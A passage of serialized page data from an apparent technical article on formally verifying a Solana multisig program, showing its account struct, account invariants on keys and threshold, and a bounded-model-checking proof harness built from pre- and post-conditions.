en":23178},{"style":5047},[23179],{"type":29,"value":357},{"type":23,"tag":504,"props":23181,"children":23182},{"style":5058},[23183],{"type":29,"value":23184},"len())\n",{"type":23,"tag":504,"props":23186,"children":23187},{"class":5016,"line":5336},[23188],{"type":23,"tag":504,"props":23189,"children":23190},{"style":5058},[23191],{"type":29,"value":22311},{"type":23,"tag":504,"props":23193,"children":23194},{"class":5016,"line":5349},[23195,23199,23204,23209],{"type":23,"tag":504,"props":23196,"children":23197},{"style":5030},[23198],{"type":29,"value":15736},{"type":23,"tag":504,"props":23200,"children":23201},{"style":5030},[23202],{"type":29,"value":23203}," struct",{"type":23,"tag":504,"props":23205,"children":23206},{"style":5467},[23207],{"type":29,"value":23208}," Ms",{"type":23,"tag":504,"props":23210,"children":23211},{"style":5058},[23212],{"type":29,"value":5333},{"type":23,"tag":504,"props":23214,"children":23215},{"class":5016,"line":5367},[23216,23220,23225,23229,23233,23238],{"type":23,"tag":504,"props":23217,"children":23218},{"style":5030},[23219],{"type":29,"value":22895},{"type":23,"tag":504,"props":23221,"children":23222},{"style":5041},[23223],{"type":29,"value":23224}," threshold",{"type":23,"tag":504,"props":23226,"children":23227},{"style":5047},[23228],{"type":29,"value":6533},{"type":23,"tag":504,"props":23230,"children":23231},{"style":5467},[23232],{"type":29,"value":23082},{"type":23,"tag":504,"props":23234,"children":23235},{"style":5058},[23236],{"type":29,"value":23237},",               ",{"type":23,"tag":504,"props":23239,"children":23240},{"style":5021},[23241],{"type":29,"value":23242},"// threshold for signatures\n",{"type":23,"tag":504,"props":23244,"children":23245},{"class":5016,"line":5388},[23246,23250,23255,23259,23263,23268],{"type":23,"tag":504,"props":23247,"children":23248},{"style":5030},[23249],{"type":29,"value":22895},{"type":23,"tag":504,"props":23251,"children":23252},{"style":5041},[23253],{"type":29,"value":23254}," authority_index",{"type":23,"tag":504,"props":23256,"children":23257},{"style":5047},[23258],{"type":29,"value":6533},{"type":23,"tag":504,"props":23260,"children":23261},{"style":5467},[23262],{"type":29,"value":23082},{"type":23,"tag":504,"props":23264,"children":23265},{"style":5058},[23266],{"type":29,"value":23267},",         ",{"type":23,"tag":504,"props":23269,"children":23270},{"style":5021},[23271],{"type":29,"value":23272},"// index to seed other authorities under this multisig\n",{"type":23,"tag":504,"props":23274,"children":23275},{"class":5016,"line":5397},[23276,23280,23285,23289,23293,23298],{"type":23,"tag":504,"props":23277,"children":23278},{"style":5030},[23279],{"type":29,"value":22895},{"type":23,"tag":504,"props":23281,"children":23282},{"style":5041},[23283],{"type":29,"value":23284}," transaction_index",{"type":23,"tag":504,"props":23286,"children":23287},{"style":5047},[23288],{"type":29,"value":6533},{"type":23,"tag":504,"props":23290,"children":23291},{"style":5467},[23292],{"type":29,"value":19598},{"type":23,"tag":504,"props":23294,"children":23295},{"style":5058},[23296],{"type":29,"value":23297},",       ",{"type":23,"tag":504,"props":23299,"children":23300},{"style":5021},[23301],{"type":29,"value":23302},"// look up and seed reference for transactions\n",{"type":23,"tag":504,"props":23304,"children":23305},{"class":5016,"line":5649},[23306,23310,23315,23319,23323,23327],{"type":23,"tag":504,"props":23307,"children":23308},{"style":5030},[23309],{"type":29,"value":22895},{"type":23,"tag":504,"props":23311,"children":23312},{"style":5041},[23313],{"type":29,"value":23314}," ms_change_index",{"type":23,"tag":504,"props":23316,"children":23317},{"style":5047},[23318],{"type":29,"value":6533},{"type":23,"tag":504,"props":23320,"children":23321},{"style":5467},[23322],{"type":29,"value":19598},{"type":23,"tag":504,"props":23324,"children":23325},{"style":5058},[23326],{"type":29,"value":23267},{"type":23,"tag":504,"props":23328,"children":23329},{"style":5021},[23330],{"type":29,"value":23331},"// the last executed/closed transaction\n",{"type":23,"tag":504,"props":23333,"children":23334},{"class":5016,"line":5666},[23335,23339,23344,23348,23352,23357],{"type":23,"tag":504,"props":23336,"children":23337},{"style":5030},[23338],{"type":29,"value":22895},{"type":23,"tag":504,"props":23340,"children":23341},{"style":5041},[23342],{"type":29,"value":23343}," bump",{"type":23,"tag":504,"props":23345,"children":23346},{"style":5047},[23347],{"type":29,"value":6533},{"type":23,"tag":504,"props":23349,"children":23350},{"style":5467},[23351],{"type":29,"value":16680},{"type":23,"tag":504,"props":23353,"children":23354},{"style":5058},[23355],{"type":29,"value":23356},",                     ",{"type":23,"tag":504,"props":23358,"children":23359},{"style":5021},[23360],{"type":29,"value":23361},"// bump for the multisig seed\n",{"type":23,"tag":504,"props":23363,"children":23364},{"class":5016,"line":5683},[23365,23369,23374,23378,23382,23387],{"type":23,"tag":504,"props":23366,"children":23367},{"style":5030},[23368],{"type":29,"value":22895},{"type":23,"tag":504,"props":23370,"children":23371},{"style":5041},[23372],{"type":29,"value":23373}," create_key",{"type":23,"tag":504,"props":23375,"children":23376},{"style":5047},[23377],{"type":29,"value":6533},{"type":23,"tag":504,"props":23379,"children":23380},{"style":5467},[23381],{"type":29,"value":22909},{"type":23,"tag":504,"props":23383,"children":23384},{"style":5058},[23385],{"type":29,"value":23386},",           ",{"type":23,"tag":504,"props":23388,"children":23389},{"style":5021},[23390],{"type":29,"value":23391},"// random key(or not) used to seed the multisig pda\n",{"type":23,"tag":504,"props":23393,"children":23394},{"class":5016,"line":5696},[23395,23399,23404,23408,23412,23416],{"type":23,"tag":504,"props":23396,"children":23397},{"style":5030},[23398],{"type":29,"value":22895},{"type":23,"tag":504,"props":23400,"children":23401},{"style":5041},[23402],{"type":29,"value":23403}," allow_external_execute",{"type":23,"tag":504,"props":23405,"children":23406},{"style":5047},[23407],{"type":29,"value":6533},{"type":23,"tag":504,"props":23409,"children":23410},{"style":5467},[23411],{"type":29,"value":14096},{"type":23,"tag":504,"props":23413,"children":23414},{"style":5058},[23415],{"type":29,"value":4367},{"type":23,"tag":504,"props":23417,"children":23418},{"style":5021},[23419],{"type":29,"value":23420},"// allow non-member keys to execute txs\n",{"type":23,"tag":504,"props":23422,"children":23423},{"class":5016,"line":5705},[23424,23428,23433,23437,23442,23446,23451,23456],{"type":23,"tag":504,"props":23425,"children":23426},{"style":5030},[23427],{"type":29,"value":22895},{"type":23,"tag":504,"props":23429,"children":23430},{"style":5041},[23431],{"type":29,"value":23432}," keys",{"type":23,"tag":504,"props":23434,"children":23435},{"style":5047},[23436],{"type":29,"value":6533},{"type":23,"tag":504,"props":23438,"children":23439},{"style":5467},[23440],{"type":29,"value":23441}," Vec",{"type":23,"tag":504,"props":23443,"children":23444},{"style":5058},[23445],{"type":29,"value":2658},{"type":23,"tag":504,"props":23447,"children":23448},{"style":5467},[23449],{"type":29,"value":23450},"Pubkey",{"type":23,"tag":504,"props":23452,"children":23453},{"style":5058},[23454],{"type":29,"value":23455},">,            ",{"type":23,"tag":504,"props":23457,"children":23458},{"style":5021},[23459],{"type":29,"value":23460},"// keys of the members\n",{"type":23,"tag":504,"props":23462,"children":23463},{"class":5016,"line":5728},[23464],{"type":23,"tag":504,"props":23465,"children":23466},{"style":5058},[23467],{"type":29,"value":5965},{"type":23,"tag":32,"props":23469,"children":23470},{},[23471],{"type":29,"value":23472},"Here we are verifying multiple things at once:",{"type":23,"tag":1022,"props":23474,"children":23475},{},[23476,23487,23498,23509],{"type":23,"tag":143,"props":23477,"children":23478},{},[23479,23485],{"type":23,"tag":154,"props":23480,"children":23482},{"className":23481},[],[23483],{"type":29,"value":23484},"!self.keys.is_empty()",{"type":29,"value":23486}," : ensure there is at least one member",{"type":23,"tag":143,"props":23488,"children":23489},{},[23490,23496],{"type":23,"tag":154,"props":23491,"children":23493},{"className":23492},[],[23494],{"type":29,"value":23495},"self.keys.len() \u003C= u16::MAX as usize",{"type":29,"value":23497}," : set an upper limit of 65535 members",{"type":23,"tag":143,"props":23499,"children":23500},{},[23501,23507],{"type":23,"tag":154,"props":23502,"children":23504},{"className":23503},[],[23505],{"type":29,"value":23506},"self.threshold >= 1",{"type":29,"value":23508}," : ensure we always need at least one member to sign (threshold of zero would require no signers!)",{"type":23,"tag":143,"props":23510,"children":23511},{},[23512,23518],{"type":23,"tag":154,"props":23513,"children":23515},{"className":23514},[],[23516],{"type":29,"value":23517},"self.threshold as usize \u003C= self.keys.len()",{"type":29,"value":23519}," : ensure we always have enough potential members to sign; if threshold was greater than the number of keys, no one could sign",{"type":23,"tag":24,"props":23521,"children":23523},{"id":23522},"verification-how-do-we-check-that-our-model-is-correct",[23524],{"type":29,"value":23525},"Verification: How do we check that our model is correct?",{"type":23,"tag":32,"props":23527,"children":23528},{},[23529,23531,23535,23537,23542],{"type":29,"value":23530},"Now that we have defined the specific instruction and account invariants, we need to generate ",{"type":23,"tag":4321,"props":23532,"children":23533},{},[23534],{"type":29,"value":22021},{"type":29,"value":23536}," on which we can run bounded model checking. Our tool does this ",{"type":23,"tag":4321,"props":23538,"children":23539},{},[23540],{"type":29,"value":23541},"automagically",{"type":29,"value":23543}," for anchor-lang programs.",{"type":23,"tag":32,"props":23545,"children":23546},{},[23547,23549,23555,23557,23562,23564,23569,23570,23575,23577,23582,23584,23589,23590,23596,23598,23604,23605,23611],{"type":29,"value":23548},"Specifically, for a given ",{"type":23,"tag":154,"props":23550,"children":23552},{"className":23551},[],[23553],{"type":29,"value":23554},"Context\u003CT>",{"type":29,"value":23556}," with ",{"type":23,"tag":4321,"props":23558,"children":23559},{},[23560],{"type":29,"value":23561},"incoming",{"type":29,"value":23563}," accounts of types (",{"type":23,"tag":154,"props":23565,"children":23567},{"className":23566},[],[23568],{"type":29,"value":22793},{"type":29,"value":6623},{"type":23,"tag":154,"props":23571,"children":23573},{"className":23572},[],[23574],{"type":29,"value":5783},{"type":29,"value":23576},") and ",{"type":23,"tag":4321,"props":23578,"children":23579},{},[23580],{"type":29,"value":23581},"outgoing",{"type":29,"value":23583}," accounts of type (",{"type":23,"tag":154,"props":23585,"children":23587},{"className":23586},[],[23588],{"type":29,"value":5783},{"type":29,"value":6623},{"type":23,"tag":154,"props":23591,"children":23593},{"className":23592},[],[23594],{"type":29,"value":23595},"close",{"type":29,"value":23597},") we define a ",{"type":23,"tag":154,"props":23599,"children":23601},{"className":23600},[],[23602],{"type":29,"value":23603},"pre_condition",{"type":29,"value":4478},{"type":23,"tag":154,"props":23606,"children":23608},{"className":23607},[],[23609],{"type":29,"value":23610},"post_condition",{"type":29,"value":23612}," expression that is a conjunction of all of the incoming and outcoming account invariants:",{"type":23,"tag":32,"props":23614,"children":23615},{},[23616],{"type":23,"tag":154,"props":23617,"children":23619},{"className":23618},[500,501],[23620],{"type":23,"tag":504,"props":23621,"children":23623},{"className":23622},[507],[23624],{"type":23,"tag":504,"props":23625,"children":23627},{"className":23626,"ariaHidden":513},[512],[23628,23661],{"type":23,"tag":504,"props":23629,"children":23631},{"className":23630},[518],[23632,23637,23642,23647,23651,23657],{"type":23,"tag":504,"props":23633,"children":23636},{"className":23634,"style":23635},[523],"height:0.6833em;",[],{"type":23,"tag":504,"props":23638,"children":23640},{"className":23639,"style":563},[529,530],[23641],{"type":29,"value":566},{"type":23,"tag":504,"props":23643,"children":23645},{"className":23644},[529],[23646],{"type":29,"value":708},{"type":23,"tag":504,"props":23648,"children":23650},{"className":23649,"style":538},[537],[],{"type":23,"tag":504,"props":23652,"children":23654},{"className":23653},[543],[23655],{"type":29,"value":23656},":=",{"type":23,"tag":504,"props":23658,"children":23660},{"className":23659,"style":538},[537],[],{"type":23,"tag":504,"props":23662,"children":23664},{"className":23663},[518],[23665,23670,23803,23807],{"type":23,"tag":504,"props":23666,"children":23669},{"className":23667,"style":23668},[523],"height:1.2247em;vertical-align:-0.4747em;",[],{"type":23,"tag":504,"props":23671,"children":23674},{"className":23672},[23673],"mop",[23675,23684],{"type":23,"tag":504,"props":23676,"children":23681},{"className":23677,"style":23680},[23673,23678,23679],"op-symbol","small-op","position:relative;top:0em;",[23682],{"type":29,"value":23683},"⋀",{"type":23,"tag":504,"props":23685,"children":23687},{"className":23686},[666],[23688],{"type":23,"tag":504,"props":23689,"children":23691},{"className":23690},[671,672],[23692,23791],{"type":23,"tag":504,"props":23693,"children":23695},{"className":23694},[677],[23696,23786],{"type":23,"tag":504,"props":23697,"children":23700},{"className":23698,"style":23699},[682],"height:0.2253em;",[23701],{"type":23,"tag":504,"props":23702,"children":23704},{"style":23703},"top:-2.4003em;margin-left:0em;margin-right:0.05em;",[23705,23709],{"type":23,"tag":504,"props":23706,"children":23708},{"className":23707,"style":693},[692],[],{"type":23,"tag":504,"props":23710,"children":23712},{"className":23711},[698,699,700,701],[23713],{"type":23,"tag":504,"props":23714,"children":23716},{"className":23715},[529,701],[23717,23722,23728,23737,23743,23752,23761,23766,23771,23776,23781],{"type":23,"tag":504,"props":23718,"children":23720},{"className":23719},[529,530,701],[23721],{"type":29,"value":68},{"type":23,"tag":504,"props":23723,"children":23725},{"className":23724},[529,530,701],[23726],{"type":29,"value":23727},"cc",{"type":23,"tag":504,"props":23729,"children":23731},{"className":23730},[537,701],[23732],{"type":23,"tag":504,"props":23733,"children":23735},{"className":23734},[701],[23736],{"type":29,"value":733},{"type":23,"tag":504,"props":23738,"children":23740},{"className":23739},[543,701],[23741],{"type":29,"value":23742},"∈",{"type":23,"tag":504,"props":23744,"children":23746},{"className":23745},[537,701],[23747],{"type":23,"tag":504,"props":23748,"children":23750},{"className":23749},[701],[23751],{"type":29,"value":733},{"type":23,"tag":504,"props":23753,"children":23755},{"className":23754},[529,29,701],[23756],{"type":23,"tag":504,"props":23757,"children":23759},{"className":23758},[529,701],[23760],{"type":29,"value":23561},{"type":23,"tag":504,"props":23762,"children":23764},{"className":23763},[600,701],[23765],{"type":29,"value":603},{"type":23,"tag":504,"props":23767,"children":23769},{"className":23768},[529,530,701],[23770],{"type":29,"value":3110},{"type":23,"tag":504,"props":23772,"children":23774},{"className":23773},[529,530,701],[23775],{"type":29,"value":620},{"type":23,"tag":504,"props":23777,"children":23779},{"className":23778},[529,530,701],[23780],{"type":29,"value":21327},{"type":23,"tag":504,"props":23782,"children":23784},{"className":23783},[930,701],[23785],{"type":29,"value":933},{"type":23,"tag":504,"props":23787,"children":23789},{"className":23788},[712],[23790],{"type":29,"value":715},{"type":23,"tag":504,"props":23792,"children":23794},{"className":23793},[677],[23795],{"type":23,"tag":504,"props":23796,"children":23799},{"className":23797,"style":23798},[682],"height:0.4747em;",[23800],{"type":23,"tag":504,"props":23801,"children":23802},{},[],{"type":23,"tag":504,"props":23804,"children":23806},{"className":23805,"style":2274},[537],[],{"type":23,"tag":504,"props":23808,"children":23810},{"className":23809},[529],[23811,23821,23826,23831,23836],{"type":23,"tag":504,"props":23812,"children":23814},{"className":23813},[529,29],[23815],{"type":23,"tag":504,"props":23816,"children":23818},{"className":23817},[529],[23819],{"type":29,"value":23820},"invariant",{"type":23,"tag":504,"props":23822,"children":23824},{"className":23823},[600],[23825],{"type":29,"value":603},{"type":23,"tag":504,"props":23827,"children":23829},{"className":23828},[529,530],[23830],{"type":29,"value":68},{"type":23,"tag":504,"props":23832,"children":23834},{"className":23833},[529,530],[23835],{"type":29,"value":23727},{"type":23,"tag":504,"props":23837,"children":23839},{"className":23838},[930],[23840],{"type":29,"value":933},{"type":23,"tag":32,"props":23842,"children":23843},{},[23844],{"type":23,"tag":154,"props":23845,"children":23847},{"className":23846},[500,501],[23848],{"type":23,"tag":504,"props":23849,"children":23851},{"className":23850},[507],[23852],{"type":23,"tag":504,"props":23853,"children":23855},{"className":23854,"ariaHidden":513},[512],[23856,23887],{"type":23,"tag":504,"props":23857,"children":23859},{"className":23858},[518],[23860,23864,23869,23874,23878,23883],{"type":23,"tag":504,"props":23861,"children":23863},{"className":23862,"style":23635},[523],[],{"type":23,"tag":504,"props":23865,"children":23867},{"className":23866,"style":563},[529,530],[23868],{"type":29,"value":566},{"type":23,"tag":504,"props":23870,"children":23872},{"className":23871},[529],[23873],{"type":29,"value":826},{"type":23,"tag":504,"props":23875,"children":23877},{"className":23876,"style":538},[537],[],{"type":23,"tag":504,"props":23879,"children":23881},{"className":23880},[543],[23882],{"type":29,"value":23656},{"type":23,"tag":504,"props":23884,"children":23886},{"className":23885,"style":538},[537],[],{"type":23,"tag":504,"props":23888,"children":23890},{"className":23889},[518],[23891,23895,24018,24022],{"type":23,"tag":504,"props":23892,"children":23894},{"className":23893,"style":23668},[523],[],{"type":23,"tag":504,"props":23896,"children":23898},{"className":23897},[23673],[23899,23904],{"type":23,"tag":504,"props":23900,"children":23902},{"className":23901,"style":23680},[23673,23678,23679],[23903],{"type":29,"value":23683},{"type":23,"tag":504,"props":23905,"children":23907},{"className":23906},[666],[23908],{"type":23,"tag":504,"props":23909,"children":23911},{"className":23910},[671,672],[23912,24007],{"type":23,"tag":504,"props":23913,"children":23915},{"className":23914},[677],[23916,24002],{"type":23,"tag":504,"props":23917,"children":23919},{"className":23918,"style":23699},[682],[23920],{"type":23,"tag":504,"props":23921,"children":23922},{"style":23703},[23923,23927],{"type":23,"tag":504,"props":23924,"children":23926},{"className":23925,"style":693},[692],[],{"type":23,"tag":504,"props":23928,"children":23930},{"className":23929},[698,699,700,701],[23931],{"type":23,"tag":504,"props":23932,"children":23934},{"className":23933},[529,701],[23935,23940,23945,23954,23959,23968,23977,23982,23987,23992,23997],{"type":23,"tag":504,"props":23936,"children":23938},{"className":23937},[529,530,701],[23939],{"type":29,"value":68},{"type":23,"tag":504,"props":23941,"children":23943},{"className":23942},[529,530,701],[23944],{"type":29,"value":23727},{"type":23,"tag":504,"props":23946,"children":23948},{"className":23947},[537,701],[23949],{"type":23,"tag":504,"props":23950,"children":23952},{"className":23951},[701],[23953],{"type":29,"value":733},{"type":23,"tag":504,"props":23955,"children":23957},{"className":23956},[543,701],[23958],{"type":29,"value":23742},{"type":23,"tag":504,"props":23960,"children":23962},{"className":23961},[537,701],[23963],{"type":23,"tag":504,"props":23964,"children":23966},{"className":23965},[701],[23967],{"type":29,"value":733},{"type":23,"tag":504,"props":23969,"children":23971},{"className":23970},[529,29,701],[23972],{"type":23,"tag":504,"props":23973,"children":23975},{"className":23974},[529,701],[23976],{"type":29,"value":23581},{"type":23,"tag":504,"props":23978,"children":23980},{"className":23979},[600,701],[23981],{"type":29,"value":603},{"type":23,"tag":504,"props":23983,"children":23985},{"className":23984},[529,530,701],[23986],{"type":29,"value":3110},{"type":23,"tag":504,"props":23988,"children":23990},{"className":23989},[529,530,701],[23991],{"type":29,"value":620},{"type":23,"tag":504,"props":23993,"children":23995},{"className":23994},[529,530,701],[23996],{"type":29,"value":21327},{"type":23,"tag":504,"props":23998,"children":24000},{"className":23999},[930,701],[24001],{"type":29,"value":933},{"type":23,"tag":504,"props":24003,"children":24005},{"className":24004},[712],[24006],{"type":29,"value":715},{"type":23,"tag":504,"props":24008,"children":24010},{"className":24009},[677],[24011],{"type":23,"tag":504,"props":24012,"children":24014},{"className":24013,"style":23798},[682],[24015],{"type":23,"tag":504,"props":24016,"children":24017},{},[],{"type":23,"tag":504,"props":24019,"children":24021},{"className":24020,"style":2274},[537],[],{"type":23,"tag":504,"props":24023,"children":24025},{"className":24024},[529],[24026,24035,24040,24045,24050],{"type":23,"tag":504,"props":24027,"children":24029},{"className":24028},[529,29],[24030],{"type":23,"tag":504,"props":24031,"children":24033},{"className":24032},[529],[24034],{"type":29,"value":23820},{"type":23,"tag":504,"props":24036,"children":24038},{"className":24037},[600],[24039],{"type":29,"value":603},{"type":23,"tag":504,"props":24041,"children":24043},{"className":24042},[529,530],[24044],{"type":29,"value":68},{"type":23,"tag":504,"props":24046,"children":24048},{"className":24047},[529,530],[24049],{"type":29,"value":23727},{"type":23,"tag":504,"props":24051,"children":24053},{"className":24052},[930],[24054],{"type":29,"value":933},{"type":23,"tag":32,"props":24056,"children":24057},{},[24058],{"type":29,"value":24059},"Our instruction invariants are represented as:",{"type":23,"tag":1022,"props":24061,"children":24062},{},[24063,24097],{"type":23,"tag":143,"props":24064,"children":24065},{},[24066,24091,24092],{"type":23,"tag":154,"props":24067,"children":24069},{"className":24068},[500,501],[24070],{"type":23,"tag":504,"props":24071,"children":24073},{"className":24072},[507],[24074],{"type":23,"tag":504,"props":24075,"children":24077},{"className":24076,"ariaHidden":513},[512],[24078],{"type":23,"tag":504,"props":24079,"children":24081},{"className":24080},[518],[24082,24086],{"type":23,"tag":504,"props":24083,"children":24085},{"className":24084,"style":23635},[523],[],{"type":23,"tag":504,"props":24087,"children":24089},{"className":24088,"style":872},[529,530],[24090],{"type":29,"value":875},{"type":29,"value":17378},{"type":23,"tag":154,"props":24093,"children":24095},{"className":24094},[],[24096],{"type":29,"value":22207},{"type":23,"tag":143,"props":24098,"children":24099},{},[24100,24126,24127],{"type":23,"tag":154,"props":24101,"children":24103},{"className":24102},[500,501],[24104],{"type":23,"tag":504,"props":24105,"children":24107},{"className":24106},[507],[24108],{"type":23,"tag":504,"props":24109,"children":24111},{"className":24110,"ariaHidden":513},[512],[24112],{"type":23,"tag":504,"props":24113,"children":24115},{"className":24114},[518],[24116,24120],{"type":23,"tag":504,"props":24117,"children":24119},{"className":24118,"style":23635},[523],[],{"type":23,"tag":504,"props":24121,"children":24123},{"className":24122,"style":872},[529,530],[24124],{"type":29,"value":24125},"E",{"type":29,"value":17378},{"type":23,"tag":154,"props":24128,"children":24130},{"className":24129},[],[24131],{"type":29,"value":22214},{"type":23,"tag":32,"props":24133,"children":24134},{},[24135,24137,24164,24166,24171,24173,24179],{"type":29,"value":24136},"And ",{"type":23,"tag":154,"props":24138,"children":24140},{"className":24139},[500,501],[24141],{"type":23,"tag":504,"props":24142,"children":24144},{"className":24143},[507],[24145],{"type":23,"tag":504,"props":24146,"children":24148},{"className":24147,"ariaHidden":513},[512],[24149],{"type":23,"tag":504,"props":24150,"children":24152},{"className":24151},[518],[24153,24157],{"type":23,"tag":504,"props":24154,"children":24156},{"className":24155,"style":23635},[523],[],{"type":23,"tag":504,"props":24158,"children":24161},{"className":24159,"style":24160},[529,530],"margin-right:0.07153em;",[24162],{"type":29,"value":24163},"K",{"type":29,"value":24165}," represents whether the instruction actually succeeds (i.e. invoking the handler returned an ",{"type":23,"tag":154,"props":24167,"children":24169},{"className":24168},[],[24170],{"type":29,"value":22542},{"type":29,"value":24172}," not an ",{"type":23,"tag":154,"props":24174,"children":24176},{"className":24175},[],[24177],{"type":29,"value":24178},"Err",{"type":29,"value":161},{"type":23,"tag":32,"props":24181,"children":24182},{},[24183],{"type":29,"value":24184},"In order to verify these conditions we need to verify three cases:",{"type":23,"tag":320,"props":24186,"children":24188},{"id":24187},"account-invariants-1",[24189],{"type":29,"value":24190},"Account invariants",{"type":23,"tag":32,"props":24192,"children":24193},{},[24194,24196,24227,24229,24259,24261,24291],{"type":29,"value":24195},"After we execute an instruction, either the function should error and be reverted (",{"type":23,"tag":154,"props":24197,"children":24199},{"className":24198},[500,501],[24200],{"type":23,"tag":504,"props":24201,"children":24203},{"className":24202},[507],[24204],{"type":23,"tag":504,"props":24205,"children":24207},{"className":24206,"ariaHidden":513},[512],[24208],{"type":23,"tag":504,"props":24209,"children":24211},{"className":24210},[518],[24212,24216,24222],{"type":23,"tag":504,"props":24213,"children":24215},{"className":24214,"style":23635},[523],[],{"type":23,"tag":504,"props":24217,"children":24219},{"className":24218},[529],[24220],{"type":29,"value":24221},"¬",{"type":23,"tag":504,"props":24223,"children":24225},{"className":24224,"style":24160},[529,530],[24226],{"type":29,"value":24163},{"type":29,"value":24228},") or the account post-invariants should hold (",{"type":23,"tag":154,"props":24230,"children":24232},{"className":24231},[500,501],[24233],{"type":23,"tag":504,"props":24234,"children":24236},{"className":24235},[507],[24237],{"type":23,"tag":504,"props":24238,"children":24240},{"className":24239,"ariaHidden":513},[512],[24241],{"type":23,"tag":504,"props":24242,"children":24244},{"className":24243},[518],[24245,24249,24254],{"type":23,"tag":504,"props":24246,"children":24248},{"className":24247,"style":23635},[523],[],{"type":23,"tag":504,"props":24250,"children":24252},{"className":24251,"style":563},[529,530],[24253],{"type":29,"value":566},{"type":23,"tag":504,"props":24255,"children":24257},{"className":24256},[529],[24258],{"type":29,"value":826},{"type":29,"value":24260},"). Furthermore, we can assume that before executing a function, the account pre-invariants (",{"type":23,"tag":154,"props":24262,"children":24264},{"className":24263},[500,501],[24265],{"type":23,"tag":504,"props":24266,"children":24268},{"className":24267},[507],[24269],{"type":23,"tag":504,"props":24270,"children":24272},{"className":24271,"ariaHidden":513},[512],[24273],{"type":23,"tag":504,"props":24274,"children":24276},{"className":24275},[518],[24277,24281,24286],{"type":23,"tag":504,"props":24278,"children":24280},{"className":24279,"style":23635},[523],[],{"type":23,"tag":504,"props":24282,"children":24284},{"className":24283,"style":563},[529,530],[24285],{"type":29,"value":566},{"type":23,"tag":504,"props":24287,"children":24289},{"className":24288},[529],[24290],{"type":29,"value":708},{"type":29,"value":24292},") should hold since we will verify all of the functions eventually.",{"type":23,"tag":32,"props":24294,"children":24295},{},[24296,24298],{"type":29,"value":24297},"So we are trying to prove that ",{"type":23,"tag":154,"props":24299,"children":24301},{"className":24300},[500,501],[24302],{"type":23,"tag":504,"props":24303,"children":24305},{"className":24304},[507],[24306],{"type":23,"tag":504,"props":24307,"children":24309},{"className":24308,"ariaHidden":513},[512],[24310,24347,24379],{"type":23,"tag":504,"props":24311,"children":24313},{"className":24312},[518],[24314,24318,24323,24328,24333,24337,24343],{"type":23,"tag":504,"props":24315,"children":24317},{"className":24316,"style":2160},[523],[],{"type":23,"tag":504,"props":24319,"children":24321},{"className":24320},[600],[24322],{"type":29,"value":603},{"type":23,"tag":504,"props":24324,"children":24326},{"className":24325,"style":563},[529,530],[24327],{"type":29,"value":566},{"type":23,"tag":504,"props":24329,"children":24331},{"className":24330},[529],[24332],{"type":29,"value":708},{"type":23,"tag":504,"props":24334,"children":24336},{"className":24335,"style":1426},[537],[],{"type":23,"tag":504,"props":24338,"children":24340},{"className":24339},[1431],[24341],{"type":29,"value":24342},"∧",{"type":23,"tag":504,"props":24344,"children":24346},{"className":24345,"style":1426},[537],[],{"type":23,"tag":504,"props":24348,"children":24350},{"className":24349},[518],[24351,24355,24360,24365,24369,24375],{"type":23,"tag":504,"props":24352,"children":24354},{"className":24353,"style":2160},[523],[],{"type":23,"tag":504,"props":24356,"children":24358},{"className":24357,"style":24160},[529,530],[24359],{"type":29,"value":24163},{"type":23,"tag":504,"props":24361,"children":24363},{"className":24362},[930],[24364],{"type":29,"value":933},{"type":23,"tag":504,"props":24366,"children":24368},{"className":24367,"style":538},[537],[],{"type":23,"tag":504,"props":24370,"children":24372},{"className":24371},[543],[24373],{"type":29,"value":24374},"→",{"type":23,"tag":504,"props":24376,"children":24378},{"className":24377,"style":538},[537],[],{"type":23,"tag":504,"props":24380,"children":24382},{"className":24381},[518],[24383,24387,24392],{"type":23,"tag":504,"props":24384,"children":24386},{"className":24385,"style":23635},[523],[],{"type":23,"tag":504,"props":24388,"children":24390},{"className":24389,"style":563},[529,530],[24391],{"type":29,"value":566},{"type":23,"tag":504,"props":24393,"children":24395},{"className":24394},[529],[24396],{"type":29,"value":826},{"type":23,"tag":32,"props":24398,"children":24399},{},[24400],{"type":29,"value":24401},"We can construct a proof harness like the following:",{"type":23,"tag":4743,"props":24403,"children":24405},{"code":24404,"language":21512,"meta":7,"className":21513,"style":7},"assume(P0)\nres = instruction_handler(...)\nassert(!K || P1)\n",[24406],{"type":23,"tag":154,"props":24407,"children":24408},{"__ignoreMap":7},[24409,24417,24434],{"type":23,"tag":504,"props":24410,"children":24411},{"class":5016,"line":5017},[24412],{"type":23,"tag":504,"props":24413,"children":24414},{"style":5058},[24415],{"type":29,"value":24416},"assume(P0)\n",{"type":23,"tag":504,"props":24418,"children":24419},{"class":5016,"line":4868},[24420,24425,24429],{"type":23,"tag":504,"props":24421,"children":24422},{"style":5058},[24423],{"type":29,"value":24424},"res ",{"type":23,"tag":504,"props":24426,"children":24427},{"style":5047},[24428],{"type":29,"value":546},{"type":23,"tag":504,"props":24430,"children":24431},{"style":5058},[24432],{"type":29,"value":24433}," instruction_handler(...)\n",{"type":23,"tag":504,"props":24435,"children":24436},{"class":5016,"line":4876},[24437,24441,24445,24450,24455,24460],{"type":23,"tag":504,"props":24438,"children":24439},{"style":5067},[24440],{"type":29,"value":22036},{"type":23,"tag":504,"props":24442,"children":24443},{"style":5058},[24444],{"type":29,"value":603},{"type":23,"tag":504,"props":24446,"children":24448},{"style":24447},"--shiki-default:#F44747",[24449],{"type":29,"value":22674},{"type":23,"tag":504,"props":24451,"children":24452},{"style":5058},[24453],{"type":29,"value":24454},"K ",{"type":23,"tag":504,"props":24456,"children":24457},{"style":24447},[24458],{"type":29,"value":24459},"||",{"type":23,"tag":504,"props":24461,"children":24462},{"style":5058},[24463],{"type":29,"value":24464}," P1)\n",{"type":23,"tag":32,"props":24466,"children":24467},{},[24468],{"type":29,"value":24469},"By itself, this harness doesn't actually prove much. For example, if the instruction fails every time, this proof will still work. However, in conjunction with the two subsequent proofs we can be assured that the instruction will actually succeed when we expect it to.",{"type":23,"tag":320,"props":24471,"children":24473},{"id":24472},"positive-instruction-invariant",[24474],{"type":29,"value":24475},"Positive instruction invariant",{"type":23,"tag":32,"props":24477,"children":24478},{},[24479,24481,24487,24489,24540],{"type":29,"value":24480},"Next we need to prove that ",{"type":23,"tag":154,"props":24482,"children":24484},{"className":24483},[],[24485],{"type":29,"value":24486},"success_if",{"type":29,"value":24488}," is a sufficient condition for instruction success. I.e. 